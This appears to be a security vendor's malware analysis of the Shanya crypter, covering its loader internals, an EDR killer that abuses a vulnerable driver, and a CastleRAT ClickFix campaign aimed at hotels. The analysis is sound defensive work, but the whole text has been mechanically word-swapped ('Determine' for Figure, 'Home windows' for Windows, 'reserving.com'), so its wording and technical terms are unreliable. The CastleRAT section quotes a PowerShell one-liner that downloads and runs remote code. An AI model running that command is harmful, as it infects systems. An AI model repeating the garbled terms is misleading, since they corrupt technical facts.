We have now lined packer-as-a-service choices from the pc underworld prior to now, beforehand dissecting impersonation campaigns and the rise of HeartCrypt, each well-liked amongst ransomware teams. Nonetheless, it’s a fast-changing panorama, and now we’re watching a brand new incarnation of the identical sort of service: the Shanya crypter — already favored by ransomware teams and taking on (to a point) the position that HeartCrypt has performed within the ransomware toolkit. We’ll have a look at its obvious origins, unpack the code, and study a focused an infection leveraging this software. Sophos protections towards this particular packer are lined on the finish of the article.
First glimpse: Underground promotions
Close to the tip of 2024 we discovered references on underground boards to a brand new providing, VX Crypt, credited to an entity known as ‘Shanya’ (additionally the identify of a river in western Russia). It ought to be famous that the ID of the publish writer, which we’ve obfuscated in Determine 1, was not “Shanya” however one other string solely.
Determine 1: A posting in Russian lists the options of “Shanya’s” VX Crypt providing
The attention-grabbing a part of the English translation of the options reads as follows:
Non-standard module loading into reminiscence, wrapper over the system loaderStub uniqueization. Every buyer receives their very own (comparatively) distinctive stub with a distinctive encryption algorithm upon buy. AMSI bypass in your .NET assemblies; the payload isn't detected in reminiscence.Icons, model info, privilege escalation through manifest (UAC Bypass), Autorun with rerun can be found.Anti-VM, does not run in sandboxes, does not unpack within the cloud. Runtime safety is offered for native and 32-bit information (throughout testing). If it is a RAT (for instance), then with this safety it could actually run undetected for a very long time (_Indy impressed)· We will strive sideloading with the proper software program. It is attainable to load your file within the context of one other course of, nevertheless it takes time to search out vulnerabilities in the proper software program and time for testing.
The contact tackle for the creator of the packer is a Telegram deal with that features the string “shanya,” as proven in Determine 2:
Determine 2: The publish offers “Shanya’s” Telegram contact info (however we don’t)
The described function set matches traits of a packer that we now have present in quite a lot of samples, so we imagine that our samples include the identical packer-as-a-service that this publish identifies as coming from “Shanya.” It is rather unlikely that two related choices would each be related to the identical identify.
Early samples of the crypter
The early samples of the crypter had varied artifacts left within the executable. For instance, a number of the early executable samples (hashes: 58995a6c6042ed15f765a11160690c45f76f8271, 83317a42290ef8577e1980dc6085ab789dcc0c8f) contained an executable identify, shanya_crypter.exe, as proven on Line 1 in Determine 3:
Determine 3: Probably extra info than the Shanya builders meant to make obtainable, together with some unusual adjective decisions
Additional early DLL samples had revealing DLL names, consisting of a morphed type of “Shanya.” Additionally they contained info on the aim of the crypter, which is to bypass the detection capabilities of no matter safety answer the goal could also be utilizing as proven in Determine 4:
Determine 4: The DLL samples embody a nasty phrase; this won’t be the final time dangerous phrases seem on this code
Among the different names (barely obfuscated under) have been:
- 5h4ny4_f■ck4v_0x000735A5BFC229C.dll
- sh4nya_f■ck4v_0x000CFA853F46C84.dll
- shanya_f■ckav_0x0001DC90D59DCDBE.dll
This seems to be the identical packer famous in late spring by Cipher Tech Options because the Armillaria loader, which was used to ship a handful of malware households together with BumbleBee, ChuChuka, Lumma, the WHT downloader, and StealC. In a while we discovered instances of a brand new EDR killer household and the CastleRAT backdoor utilizing malicious information created by this service.
The place we noticed it
Geographic distribution for nascent malware might be helpful info. In Shanya’s case, we now have encountered the packer in all 4 hemispheres over the course of 2025, however evaluation of infections per capita in affected nations indicated a considerably increased prevalence in sure international locations late within the 12 months, as proven in Determine 5.
Determine 5: A distribution of Sophos-analyzed samples packed by Shanya throughout September-November 2025. Notice that this information contains each customer-operated machines and machines prone to be in use by individuals testing the packer throughout this era. Although Tunisia looms giant on this chart, UAE is the extra attention-grabbing case, detecting Shanya much more regularly than the similar-in-size (± 1.1 million) nations of the Czech Republic (Czechia), Austria, and Switzerland. We additional observe that every one the infections we noticed in China have been geolocated within the Hong Kong-adjacent Shenzen space. (Nations reporting Shanya detections however with <10000 Sophos gadgets in place have been excluded from this chart for legibility)
Underneath the hood: The packed executables
A lot of the following evaluation relies on the pattern with SHA256: 6645297a0a423564f99b9f474b0df234d6613d04df48a94cb67f541b8eb829d1, which is a variant of the EDR killer we’ll talk about later.
The loader code is very obfuscated, with miles of junk code akin to this:
Determine 6: The junk code flows like a river (maybe the Shanya)
The aim of this code is to construct a decryptor and loader in a reminiscence area, which might then decrypt the payload.
Hiding within the PEB
Shanya begins by initializing a desk construction that accommodates essential information, akin to API addresses, that it’s going to require. It then makes use of an offset to the GdiHandleBuffer discipline within the PEB (Course of Setting Block) as a safe pointer repository for the tackle of that desk. The next levels of the malware solely have to name getPEB() and browse from a hard and fast, hardcoded offset (GdiHandleBuffer[46]) to immediately retrieve the complicated configuration desk, permitting for seamless and untraceable execution continuity. This construction can be utilized by the subsequent stage, by which the shellcode performs the decoding course of.
Determine 7: Calling again to the desk smooths execution stream, making the malware much less noticeable
API hashing
As with different malware, Shanya dynamically resolves required Home windows API capabilities by first parsing the PEB to find the PEB_LDR_DATA construction, which accommodates the linked lists of all loaded modules. Utilizing a customized hashing algorithm, it then parses all export names till a match is discovered. That algorithm varies from pattern to pattern.
Anti-analysis examine
Shanya calls RtlDeleteFunctionTable(0) & RtlDeleteFunctionTable(1) to carry out an anti-analysis examine. By triggering the perform with an invalid context, the malware makes an attempt to induce an unhandled exception or crash if working below a user-mode debugger, thereby disrupting automated sandboxes and terminating handbook evaluation makes an attempt earlier than the payload might be absolutely executed.
Shanya checks whether or not RtlDeleteFunctionTable is hooked by an EDR. Whether it is hooked, it calculates the tackle which factors previous the EDR’s trampoline and skip to the unique, unhooked directions of RtlDeleteFunctionTable.
Determine 8: In search of the hook
Payload
The next screenshot exhibits the intermediate type of the payload, when it’s already decrypted however nonetheless in compressed type in reminiscence:
Determine 9: The payload is in place, however this isn’t even its closing type
It’s then decompressed and loaded.
The loader hundreds a second occasion of a Home windows system DLL. In all of the instances we analyzed, this technique part was shell32.dll. Determine 10 exhibits the module itemizing in x64dbg as an example that there are certainly two cases of shell32.dll within the reminiscence.
Determine 10: Yet one more occasion of shell32.dll than must be there
Determine 11 exhibits the unique DLL, loaded into the DLL reminiscence house:
Determine 11: A DLL the place a DLL ought to be…
And Determine 12 exhibits a second copy, loaded into the consumer code reminiscence house.
Determine 12: …and a DLL the place a DLL shouldn’t be
The 2 are apparently equivalent, with the identical PE part names and sizes. However in actuality, the start of the picture (virtually talking, the header and the .textual content part) is overwritten by the content material of the decrypted payload, after which loaded by the undocumented LdrLoadDll Home windows perform.
The unique exported capabilities include junk information, as proven in Determine 13:
Determine 13: The “copy” within the consumer code reminiscence house, with its junk information
The loader then performs another trick, modifying the entry of the loaded module listing (LDR_MODULE).
Each the complete DLL identify and the bottom DLL identify are modified, because the Determine 14 picture of the LDR_DATA_TABLE_ENTRY construction exhibits:
Determine 14: Mustard?
The modified DLL picture is flagged by the PE-SIEVE software (developed by hasherezade):
"mapping_scan" : {
"module" : "1ab0bbf0000",
"module_file" : "C:Home windowsSystem32mustard64.dll",
"mapped_file" : "C:Home windowsSystem32shell32.dll",
"standing" : 1
}
},
{
"headers_scan" : {
"standing" : 1,
"module" : "1ab0bbf0000",
"module_size" : "59000",
"module_file" : "C:Home windowsSystem32shell32.dll",
"is_connected_to_peb" : 1,
"is_pe_replaced" : 1,
"dos_hdr_modified" : 1,
"file_hdr_modified" : 1,
"nt_hdr_modified" : 1,
"ep_modified" : 1,
"sec_hdr_modified" : 1
}
In an earlier iteration of the EDR killer the wmp.dll identify was used, as proven in Determine 15:
Determine 15: The wmp.dll identify within the feedback
In different instances a special identify was utilized, incorporating a direct (and offensive) callout to hasherezade:
Determine 16: That’s undoubtedly not “wmp.dll” below the black containers within the feedback
In one other case, this time involving a 32-bit loader (the payload was StealC), the shanya.dll identify was used:
Determine 17: A 3rd instance has nothing price blacking out
Notable use instances
EDR killer
The principle traits of the Shanya-protected EDR killer are as follows.
It has been utilized in DLL side-loading eventualities, mostly together with two particular information:
- consent.exe (a clear Microsoft program associated to the Consumer Account Management (UAC) function)
- msimg32.dll (the Shanya-packed malicious DLL)
In different instances, the side-loaded DLL has been named model.dll, rtworkq.dll, or wmsgapi.dll.
It drops two kernel drivers:
- ThrottleStop.sys/rwdrv.sys (professional driver from TechPowerUp, abused on this context)
- hlpdrv.sys (a malicious unsigned kernel driver)
The user-mode loader/orchestrator of the user-mode killer is msimg32.dll. First it hundreds the weak clear driver, as proven in Determine 18:
Determine 18: Loading the ThrottleStop driver
Then, as proven in Determine 19, it hundreds the malicious driver:
Determine 19: The malicious driver is loaded subsequent
The user-mode killer has a big listing of focused providers, as proven in Determine 20:
Determine 20: So many focused providers
And processes:
Determine 21: A protracted listing of processes, together with some belonging to Sophos. (That doesn’t imply the try is profitable, however we’ll get into that in a second)
These service and course of names belong to safety merchandise which might be focused by the EDR killer. The consumer mode killer searches the working processes and put in providers. If it finds a match, it sends a kill command to the malicious kernel driver, as proven in Determine 22:
Determine 22: Making an attempt to smite the safety merchandise it finds
The malicious kernel driver abuses the weak clear driver, gaining write entry that allows the termination and deletion of the processes and providers of the safety merchandise as proven in Determine 23:
Determine 23: And the shutdown
In a typical situation, we see this form of exercise paired with a ransomware an infection. The method tree in Determine 24 exhibits, for example, the deployment of the Akira ransomware, together with makes an attempt to execute two completely different variations of the EDR killer, each in DLL side-loading eventualities:
Determine 24: The method by which the EDR killer clears the best way for a ransomware an infection, on this case Akira. (The F’s point out the variety of information written or learn)
The primary deployment we famous of this EDR killer occurred close to the tip of April 2025, in a Medusa assault (as proven in Determine 25). It has been utilized in a number of ransomware operations since then, most regularly by Akira (as described by GuidePoint Safety in August), but in addition by Qilin and Crytox.
Determine 25: A distribution of Shanya-involved instances analyzed between April and November 2025, week by week
In motion: CastleRAT
To present a way of how this packer manifests within the wild, we’ll look briefly at a malware distribution marketing campaign that utilized Shanya, on this case to focus on accommodations.
It was reported in September 2025 as a part of a reserving.com-themed ClickFix marketing campaign, as proven in Determine 26:
Determine 26: Experiences of the an infection appeared on a social media website; the Polish-language “verification” display screen proven within the decrease half of the picture tips the focused consumer into loading malicious code
The file listing reported by the researcher, as proven in Determine 27, matches the information we now have seen:
Determine 27: Acquainted names, sadly
We additionally noticed {that a} PowerShell script was used to obtain the subsequent stage:
Malware identify: C2_10a (T1071.001) Beacon time: 2025-09-06T11:32:18.000Z Command line: powershell -w h -ep b -c "iex (iwr 'biokdsl[.]com/upd' -useb).Content material"
The upd script downloaded and unpacked the consent.zip archive, which contained the DLL side-loading elements proven in Determine 28:
Determine 28: Beginning to look quite acquainted
We have now seen the next obtain servers in use:
- biokdsl[.]com/upd
- biklkfd[.]com/upd
The archive that was downloaded had the identify and hash 59906b022adfc6f63903adbdbb64c82881e0b1664d6b7f7ee42319019fcb3d7e: consa[.]zip . It registered for autostart after which executed the clear loader (consent.exe) as proven in Determine 29:
Determine 29: The clear loader abused
The clear executable then loaded the malicious DLL, named wmsgapi.dll, which was inflated by appended bytes to the massive dimension of 656MB. The ultimate payload right here has been recognized by RecordedFuture as CastleRAT.
Sophos protections
Sophos protections towards this malware embody, however should not restricted to, ATK/Shanya-B, ATK/Shanya-C, and ATK/Shanya-D.
Conclusion
Packer-as-a-service choices and EDR killers will each be with us for the foreseeable future. The mixture of the 2 may be very well-liked with ransomware teams. As a result of there’s a want and a monetary motive, we will’t count on this explicit malware sort to go away anytime quickly – and we’ll probably discover further-evolved variations sooner or later.
Indicators of compromise
A set of indicators of compromise related to Shanya is offered on our GitHub.
